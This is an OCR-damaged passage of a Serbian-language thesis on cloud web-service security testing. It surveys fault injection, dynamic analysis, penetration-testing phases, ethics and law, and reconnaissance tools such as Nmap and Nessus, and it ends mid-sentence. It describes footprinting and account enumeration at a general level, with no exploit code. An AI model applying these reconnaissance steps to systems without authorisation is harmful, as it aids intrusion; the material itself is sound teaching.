Stres testiranje (engl. stress testingg vrsta testiranja performansi koji
podrazumeva povanje opteréenosti sistema izvan normalnog radnog kapaciteta i
obuhvata posmatranje rezultata. Stres testiranjgerda se koristi kako bi se osiguralo da
cloud sistem ostane stabilan i pouzdan, i moZeassanmi da obezldeje odrelen kvalitet
usluga, iako séesto sistem testira do svoje&ka neuspeha. Ekstremni uslovi poslovanja,
kao Sto su one u vezi iscrpljenosti resursa, od ongskih ili hardverskih kvarova do koji
moze ddi u cloud okruzenju su simulirani.

Stres testiranje se tak® moZze Koristi za testiranje bezbednosnih svojstead
sistema, jer testiranje moze izazvati anomalno §ama. Ekstremni radni uslovi mogu
prouzrokovati greSku koja bi¢inila sistem ne bezbednim. U realnom scenariju,adap
DoS metodom protiv cloud sistema, moze usporitrSavanje aplikacije koja bi mogla
kasnije biti iskorigena kao bezbednosna ranjivdst

Napomena :

Majkrosoft je razvio sopstven afadostupan svima koji simulira vi$e pretraiiza
koji Salju viSe zahteva u isto vreme nekom sajtuzM se koristi za prikupljanje
indormacija o performansama i stabilnosti veblagije. Alat simulira veliki broj zahteva
sa relativno malim brojem masina klijenata. Ciljda se stvori okruzenje koje je blizu
radnom, tako da se problemi mogu otkriti i elimatigpre primene sistema.

Y Du, W., and Mathur, A. P., “Testing for Softwareulderability Using Environment Perturbation,”
Proceedings of the International Conference on baglele Systems and Networks (DSN 2000), Workshop
on Dependability versus Malicious Faults, New Yok, June 25-28, 2000 (Los Alamitos, CA: IEEE
Computer Society Press, 2000), pp. 603-12.

% The Microsoft Web Application Stress Toahfw.microsoft.con
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2.3.5 Testiranje bezbednosti

Testiranje bezbednosti treba da proceni bezbednssgnigtva i ponasanja cloud
sistema dok interaguje sa eksternim subjektimaghim korisnicima, okruzenjem, drugim
softverom) i sa ostalim sopstvenim komponentama #okiuniciraju izmédu sebe.
Testiranje bezbednosti treba da verifikuje da sis&punjava sleda svojstva i ponasanja
saZeta u izvestaju ,Sofware Security AssuranceeSththe-Art Report (SOARY: :

= Njegovo ponaSanje je predvidivo i sigurno
= Ne otkriva nikakve ranjivosti ili slabosti

= Njegova @ekivanja greski i izuzetaka mu omdagwa da odrzi bezbedno stanje
kada se su sa napadima ili namernim greSkama

= Zadovoljava sve oddene i implicitne nefunkcionalne bezbednosti
= Ne krSi nijedno odréeno ogranienje

» Sto vide njegovog izvrdnog izvornog koda je zaldooj kako bi odvratio
pokuSaj obrnutog inZzenjeringa

Plan testiranja bezbednosti treba da bude &&juu ukupan plan testiranja cloud
sistema i treba da definiSe sve aktivnosti tegaaunkljucujuéi sledee :

= Sluwajeve i scenarije testiranja bezbednosti

= Podatke dobijene testiranjem, ukijyuci obrasce napada

» Test oracle(ako se koristi), koji se koristi za odreanje da li je sistem proSao
ili ne

= Analize treba da budu izvrSene za tderge, korelaciju i sintezu podataka
dobijenih razlitim testovima i razlitim alatima

Tehnike testiranja bezbednosti sistema se mogtasivkso white box, gray box ili
black box :

= White box - Testiranje iz interne perspektive, odnosno, sa mumhanjem
unutrasnjosti sistema, izvornog koda, arhitekturelizajna sistema, kao i
konfiguracionih fajlova.

= Gray box- Analiza izvornog koda sa ciljem projektovanjacgijeva testiranja,
ali koris¢enjem tehnike black box, i izvorni i izvrSni kod dasputni za analizu.

= Black box- Testiranje sistema iz spoljne perspektive, ododsez prethodnog
znanja sistema, samo binarni izvrsSni kod je dospagaanalizu.

Primer tehnike white box testiranja je stati analiza izvornog koda koji bi trebalo
da se vrsi iterativno dok se sistem razvija. Sdadwmbela pokazuje druge ubtdjene
tehnike koje se koriste za testiranje bezbedndstko se okino kategoriSu:

2L Information Assurance Technology Analysis Centa AC)/Data and Analysis Center for Software
(DACS), “Software Security Assurance State-of-théReport (SOAR),” July 31, 2007
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tabela 2:4Uobtajene tehnike testiranja bezbednosti

Tehnike testiranja Kategorija

Source code analysis White box
Property-based White box

Source code fault injection  White box, gray box
Dynamic code analysis Gray box

Binary fault injection Gray box, black box
Fuzz testing Black box

Binary code analysis Black box

Byte code analysis Black box

Black box debugging Black box
Vulnerability scanning Black box
Penetration testing Black box

2.3.5.1 Ubrizgavanje/Injekcija greske (Fault injection)

Ubrizgavanje greske je tehnika koja se koristi aagSanje koda testiranjem svih
putanji koda, posebno dela koda koji upravlja gaesk koji se tokom funkcionalnog
testiranja nije izvrSio. Tokom testiranja ubrizgajan greSke, greSke se ubrizgavaju u
cloud sistem kako bi se simulirale nenamerne gr&sksnika i namerne greske dobijene
napadom na sistem.

2.3.5.2Ubrizgavanje greske u izvorni kod (Source Code Faulnjection)

U ubrizgavanju greSke u izvorni kod, ispittvadlituje kada treba da se aktivira
gresSka okruzenja. Ispiti¢zaonda ne nametljivo "navodi" izvorni kod, ubrizgaw@ izmene
u program koje bi predstavljale promenjene podatiedine koje bi rezultirale iz tih
greSaka? Navedeni izvorni kod se zatim izvr8ava, i ispitiveosmatra kako se stanje
sistema menja kada se promenjeni delovi koda iz@8e omogdava testeru da posmatra
bezbedne i ne bezbedne promene stanja sistema msletna izvedenih u njegovom
okruzenju.

Ispitiva¢ takale mozZe da analizira kako se stanje cloud sistemajamdok se
umetnuta greSka Siri kroz izvrSni kod, posmatrangamog izvornog koda. Ova vrsta
analize se obno naziva analiza Sirenja greSkault propagation analys)si uklju¢uje dve
tehnike ubrizgavanja greSke u izvorni kod : prasreanaliza Sirenja greskextended
propagation analysjs i analiza Sirenja greSke kroz interfejstérface propagation
analysig.

Kako bi se pripremio za analizu Sirenja greSkejtiisg® mora generisati drvo
greské® iz softvera izvornog koda. Da bi izvr§iwosirenu analizu Sirenja greskispitivas
ubacuje greSke u drvo gresSke, i onda prati kakeva#a ub&na greSka Siti kroz drvo.
Ovo pokazuje kakawe uticaj jedna konkretna greSka imati na celokupooaSanje
sistema.

22 Goertzel, K. M., Winograd, T. , “Enhancing the R&®pment Life Cycle to Produce Secure Software.”
28 dijagram koji predstavlja zamisljen scenario kakmeka greska da se izvrsi

-20 -



Stefan Janicijevi¢ Evaluacija bezbednosti veb servisa u Cloud-u sa studijom
slucaja : Dropbox

Analiza greSke kroz interfege fokusira na to kako se greske Sire kroz intefe
izmedu komponenti/modula i drugih komponenti na nivooucd-aplikacije. U analizi kroz
interfejse, ispitiva ubrizgava gresku u ulazne podatke izmm&omponenti, posmatra kako
se greSke Sire, i trazi pojavu neke nove anomdlij&j tip analize omogava ispitiv&u
da utvrdi kako otkaz jedne komponente moze dd&eutna otkazivanje susednih
komponenti, Sto je natdo vazno ako je susedna komponenta od velike \&?za rad
sistema.

Ubrizgavanje gresSke u izvorni kgel posebno korisno u otkrivanju slédg :
= Nepravilne upotrebe pokazikai nizova

= Koris¢enje opasnih poziva

= Uslova trke face condition

Source code fault injection se treba obavljatiatieno dok je softver ili sistem joS
u procesu razvijana. Kada se otkriju nove pretajet¢ napada i tehnike upada) izvorni
kod moze biti ponovo testiran na gresSke koje bdgtavljale takvu vrstu pretnji.

2.3.5.3Ubrizgavanje binarne gresSke (Binary fault injection)

Ubrizgavanje binarne greske je tehnika analize kejaprovodi tokom izvrSavanja,
u kojoj se cloud aplikacija, koja je u procesu gawanja, monitoriSe dok se greSke
ubrizgavaju u nju. Ptnjem tragova sistemskih poziva, ispitivanoze da identifikuje
imena sistemskih poziva, parametre svakog pozipayiatni kod poziva. Ovo omogava
ispitivacu da otkrije imena i tipove resursa kojima pristpoaivni softver, kako se resursi
koriste, i uspesSnost svakog pokuSaja pristupa njlthinarnoj analizi greSke, greSke se
ubrizgavaju u resurse okruzenja u kome se nalaaidclsistem. GreSke okruzenja
obezbduju ispitivatu odreteni broj prednosti :

= Oni simuliraju realan scenario i mogu se lako awtrovati

= Oni simuliraju anomalije okruZzenja bez potrebe ease kako se te anomalije
deSavaju u realnom svetu. Ovo oméaua ispitiv&u ubrizgavanje greSke bez
prethodnog znanja o okruzZeriije su greSke simulirane.

= Ispitiva¢ moze da izabere kada da pokrene deine greSku u okruzenju. Ovim
se izbegava potpuna simulacija okruzenja.

TesSko je predvideti sloZzene ulazne podatke kejeloud sistem zapravo primiti u
svom ciljnom okruzenju. Dakle, scenario sa ubrizggem greSke treba da bude dizajniran
tako da daje ispitivas Sto kompletnije mogie razumevanje bezbednosti u kome se nalazi
sistem tokom svih mogih uslova rada. Kada je cloud sistem pusSten u pooigju,
Ispitiva¢ moze Kkoristiti testiranje penetracijgpenetration testing) skeniranje ranjivosti
kako bi obezbedio dodatnu meru bezbednosti sistema.

-21 -



Stefan Janicijevi¢ Evaluacija bezbednosti veb servisa u Cloud-u sa studijom
slucaja : Dropbox

Alati za binarno testiranje greSaka uklju binarne ubrizgave greSakdbinary
fault injectors)i testeri uzastopnog pokusSavarffaute force testers)Ovi alati treba da
podrze zajediku funkcionalnost koja se nalazi u aplikaciji ilisemu. Na primer,
komercijalni ubrizgiva greske Holodeck* se ¢esto koristi za simuliranje greski u
aplikacijama napravljenim za Majkrosoft operati\sisteme. Holodeck ubrizgava gresSke
za tipkne funkcionalnosti prorzne u Windows okruzenju, kao Sto su :

= Provera Mreza - kabl je otéan, mreza nije instalirana, pogresSna Winsok
verzija, portovi nisu dostupni, mreza je nefunkeima

= Disk - nedovoljno memorije na disku, CRC greskeclicyredundancy check),
otvorenih fajlova, disk je zagen od pisanja, disk nijeditacu

= Memorija - Nedostatak memorije, zalkdana memorija, nemoguoost alokacije
memorije

Holodeck takde podrzava monitorisanje aplikacije u toku intef@ksa svojim
okruzenjem.

2.3.5.4Dinami¢ka analiza koda (Dynamic code analysis)

Dinamicka analiza koda ispituje kod dok se izvrSava udlokruzenju, a ispitiva
traga za spoljasnjim uticajima ili izmenama u izvan kodu odgovaragih interakcija u
toku izvrSavanja, tako da ukoliko se bilo koji pusp ili anomalija pojave u izvrSnim
interfejsima se simultano lociraju i reSavaju.

Za razliku od statke analize, dinanmika analiza omoglava ispitiv&u da izvrSi
softver na n&ne koje izlazu ranjivosti koje se stvaraju tokonterakcije softvera sa
korisnicima i koje dovode po promena u konfiguradijponasanju komponenti sistema.
Posto softver/sistem nije u potpunosti povezanspoagen u svom stvarnom ciljnom
okruZenju, ove interakcije i njihovi praieulazni podaci i uslovi okruzenja su u sustini
simulirani od strane alata za testiranje.

Primer alata koji se koristi za dinatkii analizu koda j&/algrind®®, koji je koristan
u detekciji potencijalnih problema sa memorijorazmih drugih sistemskih greSaka.

2.3.5.5Property-Based Testing

Predstavlja formalnu tehniku analize koja je raavg na Univerzitetu Kalifornije
Davis®. Ova vrsta testiranja potisje da softverske/sistemske implementirane
funkcionalnosti zadovoljavaju njegove specifikacijdo se postize ispitivanjem
bezbednosno relevantnih osobine, kao 5to je odsugiomene stanja u shaju
nesigurnosti. Zatim ove bezbednosno relevantne imsoln kodu se upodeju sa
softverskom/sistemskom specifikacijom kako bi serdito da li su bezbednosne
pretpostavke ispunjene.

24 \www.securityinnovation.com/holodeck

% www.valgrind.org

% Fink, G., and Bishop, M., “Property-Based Testiry:New Approach to Testing for Assurance,”
SIGSOFT Software Engineering Notes22, 4 (July 1984}-80.
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Kao i direktna analiza koda, property based tesiagteva punu koncentraciju
Ispitivaca poSto je analiza postena detaljima. Zato Sto ovakva analiza zahteva da
ispitiva¢ posvetu zn&jnu kolinu vremena kodu, ona sesto koristi samo za analizu
koda koji implementira visoko-posleaie funkcije.

2.3.5.6Black Box Debugging

Black box debuggirnfd je tehnika za prenje ponadanja spoljnih binarnoj
komponenti ili sistema dok se izvrSava, i na tafimgposmatra podatke koji prolaze
izmedu komponenti/sistema i spoljnih entiteta.

Pored toga, posmatrd&ju kako podaci prolaze kroz granice softvera/sistema
analitcar moze da odredi kako spoljni podaci mogu biti ipalsani da nateraju
softver/sistem da reaguje put odeee izvrSne putanje, ili da izazove kvar
softvera/sistema. Ovo moze otkriti gresSke ili pregukoji proizilaze ne iz samog cloud
softvera/sistema, ¥esu nastali uticajem spoljnih entiteta sa kojimareao interakciju.

2.3.5.7 Testiranje interoperabilnosti (Interoperability testing)

Testiranje interoperabilnosti procenjuje da Ili dowoftver/sistem moze da
razmenjuje podatke sa ostalim komponentama ilkapijama. Ona odtiije sposobnost
razmene podataka preko zajedith formata,¢itanja i pisanja istih formata podataka, i
komunikacije koristé iste protokole. Glavni cilj testiranja interopbii@osti je da se
otkrije interoperabilnost izndel aplikacija unutar cloud sistema pre nego Stesisgbude
upotrebljen. Testiranje zahtevacirms moginosti sistema da budu zavrSene pre testiranja,
takade testiranje oléno koristi jedan od tri pristupa :

= Testiranje svih parova ovo secesto sprovodi od strane nezavisne grupe
ispitivaca koji su upoznati sa karakteristikama interopénaisii Sirom
softverskih proizvoda i izn@el proizvaiaca softvera

= Testiranje nekih od kombinacijaovaj pristup podrazumeva testiranje samo
dela kombinacija pod pretpostavkom ¢k neispitane kombinacije normalno
funkcionisati.

= Testiranje protiv referentne implementacije (tegtiragainst reference
implementation) - Ovaj pristup uspostavlja referentnu primenu, npr.
koris¢enjem prihvédenog standarda, i testiranjem svih proizvoda protiv
reference.

Jedan od izazova u integraciji cloud komponentka&o da se izgradi bezbedan
kompozitni sistem od komponenti koje same po sebfda nisu bezbedne. U radu od
strane Verizon Communcations i Univerziteta u Teka istraZivai opisuju sistematski
pristup za odrdéivanje interoperabilnosti komponenti iz perspektiVe je ciljno i modelno
orijentisan pristup analizi bezbednosnih karaktdas komponenti za utdivanje

27 Whittaker, J. A., and Thompson, H. H., “Black BDebugging,” Queue 1, 9 (December/January 2003—
2004).

% Oladimeji, E. A., and Chung, L., “Analyzing Seayrinteroperability during Component Integratiom”
Proceedings of the 5th IEEE/ACIS International Gerence on Computer and Information Science and 1st
IEEE/ACIS International Workshop on Component-BaSeétware Engineering, Software Architecture and
Reuse(July 10-12, 2006). ICIS-COMSAR, IEEE Comp6@ietiety, Washington, DC, pp. 121-29.
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interoperabilnosti. Istrazi¢adaju smernice za integrisanje komponenti kakeebispunio
bezbednosni cilj cloud sistema.

2.4 Cloud Penetration Testing

Test penetracije je metodologija testiranja bezbstinkoja ispitivéu uvid
bezbednosne snage sistema koji testira simutirsgapad od strane malicioznog izvora.
Proces podrazumeva aktivhu analizu cloud sistemawveapotencijalne ranjivosti koje
mogu proizai iz loSeg ili nepravilnog konfigurisanja sistenm@gznatih i/ili nepoznatih
hardverskih ili softverskih nedostataka, ili iz ogaonih nedostataka. Ova analiza se vrSi
iz pozicije potencijalnog napacks | moze ukljdivati aktivhu eksploataciju bezbednosnih
propusta.

Bilo koji bezbednosni nedostaci koji se otkriju predstavljeni vlasniku sistema,
zajedno sa procenom njihovog uticaja¢asto predlogom za ublazavanje ili potpuno
reSenje istih. Namera testiranja bezbednosti pacigim je da se proaktivno utvrdi
izvodljivost napada ili da se retroaktivno utvrdemen koliko je uspeSna eksploatacija
uticala na poslovanje. Ovo testiranje predstavjenjponentu poptune sigurnosne revizije,
koja obuhvata slede :

= Nivo 1, procena na visokom nivofhigh-level assessméntpredstavlja pogled
od najviSeg do najnizeg nivoa na politike organieagrocedure, standarde, i
smernice. Procena nivoa 1 nije uvek iz prve rukdnosno sigurnost sistema
nije zapravo testirana.

= Nivo 2, evaluacija mrezdénetwork evaluation- predstavlja procenu iz prve
ruke, ima neke elemente procene nivoa 1 ali onataodprikuplja informacije
o sistemu i skenira sistem.

= Nivo 3, test penetracijépenetration test} test penetracije se @bio ne bavi
raznim politikama sistema. On je viSe iz perspektnapadéa, gledajdi Sta se
moze postii, i sa kojim teSkéama
Nekoliko faktora se spojilo u cloud okruzenju dadstiranje penetracijom postala
nuznost. Evolucija informacionih tehnologija se dska na jednostavnost upotrebe u
operativnom pogledu, dok se eksponencijalno fave kompleksnost kompjuterskih
resursa. Nazalost, zahtevi administracije i upeayg§ cloud sistema su se poéak iz
nekoliko razloga :

= Nivo znanja i veStina koje napadanora da poseduje kako bi uspesno iskoristio
slabost se znatno smanjio

= Veli¢ina i slozenost mreznog okruzenja je naglo porasla
= Broj mreznih i cloud aplikacija je povan

» Stetan uticaj koje povrede bezbednosti imaju nadativne imovine je @
nego ikad

Testiranje penetracijom se tege obavlja u okviru "crne kutije", to jest, bez
prethodnog znanja infrastrukture koja se testira. S\om najjednostavnije nivou, test
penetracijom podrazumeva tri faze :
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= Priprema (preparatior) - Formalni ugovor se izvrSava, po kome &eaju
podaci klijenata i omodiava se pravna zastita ispittea Takae, u ugovoru se
ponekad navedene ip adresa za testiranje i vreym&eiza testova.

= |zvrSenje(execution) U ovoj fazi test se izvrSava, u toku kojeg isit trazi
potencijalne ranjivosti.

» Isporuka (delivery) - Rezultati evaluacije su saopSteni kontaktu unuta
organizacije, a korektivne akcije se sugerisu.

Bilo da je test penetracije sa potpunim znanjemteubox), test delindinog znanja
(gray box), ili test bez predznanja (black box)itftture sistemd, nakon &to su rezultati
dobijeni i izveStaj napisan, tehnike ublaZzavanjasmsti moraju biti primenjene kako bi
se smanjio rizik opasnosti na prihvatljiv ili todertan nivo. Test treba da se bavi
ranjivostima i rizicima u takvim oblastima kao & aplikacije, daljinski pristupni sistemi,
VoIP, bezénim mrezama i stno.

2.4.1 Pravne i eticke implikacije

Posto etiki haker sprovodi test penetracije za organizakao bi pomogao u
proceni mrezne bezbednosti, ovaj pojedinac morasalagoridrzava visokih standarda
ponaSanja. U stvari, postoji sertifikat CertifiethiEal Hacker (CEH) pod pokroviteljstvom
International Council of E-Commerce Consultants {Ealincil}° koji sved@i o znanju
hakera i njegovom pridrzavanju &ih principa. EC-Council takie pruza sertifikat
Licensed Penetration Tester (LPT), koji, citikajojihov sajt, pruZza slede pogodnosti :

= Standardizuje bazu znanja za profesionalce pridjaéivse najboljih praksi
koje primenjuju iskusni sttinjaci iz oblasti

*» Obezbduje da svaki profesionalac koji ima njihov seridiksledi strogi etki
kodeks

= Svaki profesionalac je izlozen najboljim tehnikat@stiranja
= Svaki profesionalac je svestan svih zahteva kdpexa industrija

= Osposobljava sttinjake bezbednosti da analiziraju bezbednost mreda i
preporée korektivne mere

Kada etéki haker ili licencirani stréinjak pristane da sprovede brojne testove za
organizaciju, i da ispita slabosti njihovog infolic@og sistema, on moze biti zakonski
gonjen, osim ako u uslove ugovora ne stoji zaptijadinca koji radi test. Veoma je vazno
da ogranizacija i tim koji sprovodi testiranje imaglenténo razumevanje ovlésnja koje
tim ima, a ono obuhvata Sta tim sme da radi i 8tdesava ako tim nehotice izazove neku
Stetu.

29 white box, gray box i black box predstavljaju téentestiranja bezbednosti sistema ili softvera
%0 www.eccouncil.org
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Spoljni napad na mrezu nosiddii pravni rizik za ispitivéa, tako da pre izvrSenja
napada zaStita mora biti radesmna do najsitnijih detalja. Na primer, Zakon o uedenju
sajber bezbednosti (Cyber Security Enhancementi2A@)02 ukazuje na dozivotne kazne
hakerima koji "neoprezno" ugrozavaju zivote drugpbstoji i nekoliko ametkih statuta
za borbu protiv sajber kriminala. Statut 1030 "Kraund Related Activity in Connection
with Computers"”, posebno navodi da osoba koja nameristupa zastenom rg&unaru
bez dozvole, a kao rezultat tog dela, nesmotremaoize Stetu ili narusi medicinski
tretman, moze dobiti n@anu kaznu ili kaznu zatvora od pet do dvadesetrgodi

Od vitalnog je zn&aja da ispitva primi posebnu pisanu dozvolu da sprovede test
od najviSeg mogteg izvrSioca u organizaciji. Ispititamora biti zastien od krivinog
gonjenja za zadatak testiranja. Zbog svoje zas#teéki haker ili ispitiv& mora se
pridrzavati sledéeg :

= Zastititi podatke otkrivene tokom testa penetraeild toku dobijanja pristupa
mrezi i r&unarskim resursima, éki hakerce shvatiti da ima pristup osetljivim
informacijama koje bi bile vredne konkurentnim argacijama ili
neprijateljima. Dakle, ove informacije treba da bumbSttene na najviSem
moguem nivou, ne smeju biti otkrivene nikome, bilo naneili slucajno.

= Poslovati na etiki nacin - Eticki je relativan pojam i predstavlja funkciju broja
promenljivih, uklj@ujuéi drustveno-ekonomsko poreklo, veru, vaspitanja, it
Medutim, etcki haker da sprovodi svoje aktivnosti na pouzdadimoji
predstavlja najbolje interese organizacije kojanpritila testiranje. Stino
tome, organizacija treba da tretira hakera sa igtmstovanjem i etkim
ponaSanjem.

= Ograni‘enje odgovornosti Kao Sto je objaSnjeno ranije u ovom odeljku, za
vreme testiranja, tim &kih hakerace najverovatnije imati pristup osetljivim
datotekama i informacijama. Eki haker je obten da ne izazove bilo kakvu
Stetu, kao Sto je modifikovanje fajlova, brisanfgormacija i slk&no u tok
testiranja. Mdutim, greSke se povremeno dogode i sa tim razlotyedaju
postojati uslovi u ugovoru koji se odnose na takitaacije u kojoj se Steta
slucajno dogodila. U njima treba da postoji ogtamje u odgovornosti hakera
ili neka vrsta polise osiguranja.

= Ostati u okviru zadatka Okvir testiranja treba unapred biti definisan i
dogovoren od strane svih ukignih strana. Uz to ostvareno, testiranje treba biti
obavljeno striktno u okviru tih granica. Na primestiranje treba da obuhvati
samo navedene mreze i resurse, kao i metode i pbkusaja da se probije u
informacioni sistem.

* Razvoj plana testiranja Kao i sa svakim poduhvatom, plan testiranjadrbibi
razbijen i odobren pre testiranja. Plan treba dazs@bim testa, resurse koji se
testiraju, vremena testiranja, lokaciju testirarjp,testiranja (white box, gray
box, black box), stepen penetracijégkivane rezultate i giho.

= Testiranje treba biti u skladu sa relevantnim zakeni propisima- Poslovne
organizacije su u obavezi da se pridrzavaju ¢#itlizakona i propisa kao Sto su
Health Insurance Portability and Accountability A@HIPAA), Sarbanes-
Oxney, i Gramm-Leach-Bliley Act (GLBA). Ovi akti gadan od razloga zasto
kompanije angazuju ¢ke hakere, kako bi pokazali da ulazu napore dateast
svoje informacije.
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Prirucnik za testiranje bezbednosti OSSTMM 2.2 (Open-&oBecurity Testing
Methodology Manuafl takaie pruZa pravila upotrebe &tbg testiranja u brojnim
oblastima, ukljdujuéi testiranje penetracijom. Slegkelista rezimira neke od relevantnih
pravila :

= Testiranje veoma nesigurnih sistema i instalacga re sme vrSiti dok
odgovarajde mere sanacije nisu preduzete

= Revizor je duzan da obezbedi sigurnost klijentglabdataka

= Ugovor treba da ogratiiodgovornost revizora

= Ugovor angazovanja treba da obezbedi

= Obim testiranja mora biti jasno definisan

= Revizor mora raditi legalno

= U izveStaju rezultata testova, revizor mora dayge3trivatnost svih strana

2.4.2 Tri pre-test faze

Testiranje penetracijom afrio zapdinje izvidanjem, koje obuhvata tri pred-test
faze :footprinting, skeniranje (scanning) i nabrajanjen(enerating) Ove faze su veoma
vazne i mogu napraviti razliku izrle uspesSnog testiranja koji pruza kompletnu sliku
mreze ili neuspesnog koji ne pruza. Procesimvia nastoji da skupi Sto viSe informacija o
cilinoj mrezi, koristéi slede€e korake tokom aktivnosti footprinting-a, skenieanij
nabrajanja :

= Prikupiti patetne informacije

= Odrediti opseg mreze

= Identifikovati aktivne maSine

= Otkriti otvorene portove i pristupnecte
= Okriti operativni sistem

= Otkriti usluge na portovima

= Mapirati mrezu

Footprinting

Footprinting je dobijanje informacije o bezbednasngrofilu organizacije. To
podrazumeva prikupljanje podataka kako bi se koeplan mreZe i sistema ogranizacije.
To je vazan n&n kojim napada dobija informacije o organizaciji, bez njenog zjaan

Footprinting primenjuje prva dva koraka id&nja, prikupljanje osnovnih
informacija o meti i odréivanje mreznog opsega mete. To td&omoze da zahteva
upotrebu "rdnog" istrazivanja, kao Sto je pr&avanje veb strane kompanije za korisne
informacije, kao Sto su sleéke:

%1 http:/lisecom.securenetltd.com/osstmm.en.2.2.pdf
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* Imena, telefonskih brojeva i e-mail adresa radkitapanije

= Lokacije na kojima se kompanija nalazi i njengdig

= Spisak kompanija sa kojima ,zeljena kompanija zmdasarduje
= Vesti, kao Sto su spajanja ili akvizicije

= Linkovi ka drugim sajtovima kompanija koje swske njoj

= Politike privatnosti kompanije, koje mogu poénala se identifukuju tipovi
bezbednosnih mehanizama

Drugi izvori koji mogu imati informacije o meti ykikcuju sledée :
= Nezadovoljni blogovi zaposlenih

= Poslovne drustvene mreze kao Sto je LinkedIn

= Lic¢ni/poslovni sajtovi kao Sto su Facebook

= Trgovinske novine

Skeniranje (scanning)

Sledea cetiri koraka prikupljanja informacija - identifikewnje aktivnih maSina,
otkrivanje otvorenih portova i pristupnih ¢aka, ispitivanje operativnog sistema, i
otkrivanje usluga na portovima - smatraju se defare skeniranja. Cilj ovog koraka je da
se otkriju otvoreni portovi i aplikacije vrSenjempadjnog ili unutrasnjeg skeniranja mreze,
ping-ovanjem masina, uidivanjem opsega mreze, i skeniranjem portova pogdih
sistema.

Nabrajanje (enumerating)

Poslednji korak u izdianju, mapiranju mreze, jeste rezultat faze skejaratgovodi
do faze nabrajanja. Kao finalna faza pre-testiratijanabrajanja je da se stekne @nild
kompletna slika mete.

Da bi se nabrajanje sprovelo, napagakusSava da identifikuje validne korigke
naloge ili slabo zastene elemente resursa pamaaismerenih upita i aktivnih konekcija do
i od mete. Tip informacije koje ispiti¢atrazi tokom faze nabrajanja moze biti ime
korisnika ili grupe, mreznog resursa i aplikacije.

Tehnike koje se koriste za nabrajanja obuhvat&jdest :

= Dobijanje Active Directory informacije i identifik@anje ranjivin korisnikih
naloga

= Otkrivanje NetBios imena uz poradBTscan

= Koris¢enje SNMPutil alata za analizu SNMP (Simple NetwMinagement
Protocol)

= Koris¢enje Windows DNS upita
= Ostvarivanje null sesija i konekcija
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2.4.3 Alati i tehnike za testiranje penetracijom

Razni alati i tehnike, uklgujuéi i neke koji su korieni od strane zlonamernih
hakera, mogu biti vredni u obavljanju brojnih testaipada/penetracije na cloud sisteme.
Neki alati, kao 5to su Whois i Nslookup, su javoitger koji mogu pomé u prikupljanju
informacija o ciljnoj mrezi. Whois je ofmo prvi korak u fazi izvdanja. Sa njim, mozete
pronai informacije kao Sto su ime registranta domenajiatstrativne i tehriike kontakte,
kao i spisak njihovih servera domena. Nslookup amaga da se izvrSi upit na Internet
domen servere. On prikazuje informacije koje mogti bd koristi za dijagnozu
infrastrukture DNS-aljomain Name Systgmpronalazenje dodatnih IP adresa. On da&ko
moze Koristiti MX zapis da otkrije IP adresu mahgera.

JoS jedan izvor informacija je Ameéki Registar Internet Brojeva (American
Registry of Internet Numbers - ARIN). ARIN omagva da pretrazujete Whois bazu
podataka za mrezne autonomne brojeve (autonomyensysumbers - ASN), podatke
vezane za mrezu, i druge srodne informacije o lkoimta. ARIN-ova Whois funkcija
omoguiava da izvrSite upit na IP adresu kako bi pronastirmacije o metinoj upotrebi
subnet adresovanja.

Takode tracerout¥ alati su veoma Kkorisni. Traceroute radi iskémignjem
karakteristike Internet Protokola naziva vreme-z@t(Time-to-Live TTL*¥). On otkriva
put kojim IP paketi putuju izniel dva sistema uzastopnim slanjem UDP (User Datagram
Protocol) paketa sa svedmn TTL-om. Kako svaki ruter obradi IP paket, on umuge
TTL. Kada TTL dale do nule, ruter Salje nazad "TTL je premaSen" kwrkorigenjem
protokola Internet Kontrolne Poruke (Internet Cohiviessage Protocol - IMCP) nazad do
izvora paketa. Tako, ruteri sa DNS zapisima otkijuanjihova imena, mreznu pripadnost i
geografsku lokaciju.

Alat pod nazivom Visual Trace napravljen od strddeAfee kompanije prikazuje
traceroute vizuelno u obliku prikaza mape, prikaahliku ¢vora ili IP prikaza. Dodatni
korisni alati bazirani na Windows platformi obulsjatsledée :

= Visual Route - Napravljen od strane VisualWare-a ukljje integrisane
mogLuenosti traceroute-a, ping testove i obrnute DNS ioWhupite. On takde
prikazuje stvarne rute konekcije i IP adrese Igkaca globalnoj mapi.

=  SmartWhois- Kao Whois, pronalazi sveobuhvatane informacijeneti : IP
adrese host ili domain servera, ukljjuci naziv drzave, provincije, grada, ime
mreznog provajdera, informacije o administatoruehrnitkkoj podrSci. Za
razliku od Whois, on moze @iainformacije o kompjuteru koji se nalazi u bilo
kom delu sveta, interligentno se épje u pravu bazu podataka i ispéuje sve
srodne zapise u roku od nekoliko sekundi.

= Sam Spade Ovaj besplatan alat, pre svega se koristi zagledenje spamera,
takade se moze koristiti za pruzanje informacija 0 mBwlazi sa mnoStvom
korisnih mreznih alata, ukljwjuc¢i ping, Nslookup, Whois, IP block Whois,
dig, traceroute i mnogih drugih.

%2 pijagnosttki alat za prikazivanje rute i merenja tranzitn@gkjenja paketa preko IP mreze
% Mehanizam koji limitira Zivotni vek podatka wmarskoj mrezi
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2.4.3.1 Port skeneri

Skeniranje portova je jedna od &&Kih tehnika izvidanja koris¢ena od strane
testera za otkrivanje ranjivosti u uslugama oslpugkupoznate portove. Kada se
identifikuje IP adresa mete, moZze se zZaboproces skeniranja portova. Onacipge
potragom za rupe u sistemu kroz koje tester ilnaloerni uljez moze dobiti pristup.
Tipican sistem ima®-1 portova, svaki sa svojim TCP i UDP portom kajirmoZe koristiti
za dobijanje pristupa, ako je nezé&sti. NMap, najpopularniji port skener za Linuks, je
takade dostupan za Windows.

NMap moze da skenira sistem u réiim skrivenim rezimima, u zavisnosti od
toga koliko neprimetni zelite biti. NMap moze oditednnostvo informacija o meti,
ukljucuju¢i koji host-ovi su na raspolaganju, koje uslugensde, i koji operativni sistem
se koristi.

Ostali alati za skeniranje portova u Linuks okryaesu : SATAN, NSAT,
VeteScan, SARA, PortScanner, Network Supersca@t Port Scanner, i CGl Sonar.

2.4.3.2 Skeneri ranjivosti

Nessus, popularni open-source alat, je izuzetnéamskener mreze koji moze biti
konfigurisan da pokrene razna skeniranja. Dok Wivglfront end postoji, jezgro Nessus-a
zahteva Linux za rad.

Microsoft Baseline Security Analyzer (MBSA) ke bkdpi Windows skener
ranjivosti. MBSA moze da se koristi za detekcijegaka u bezbednosnoj konfiguraciji
lokanih ra&unara ili r&unara u mrezi. Md&utim, on ima problema sa Windows
azuriranjem, prouzrokovane j&esto ne detektuje da je neka aplikacija azurirana.

Popularni komercijalni skeneri ranjivosti ukiju Retina Network Security
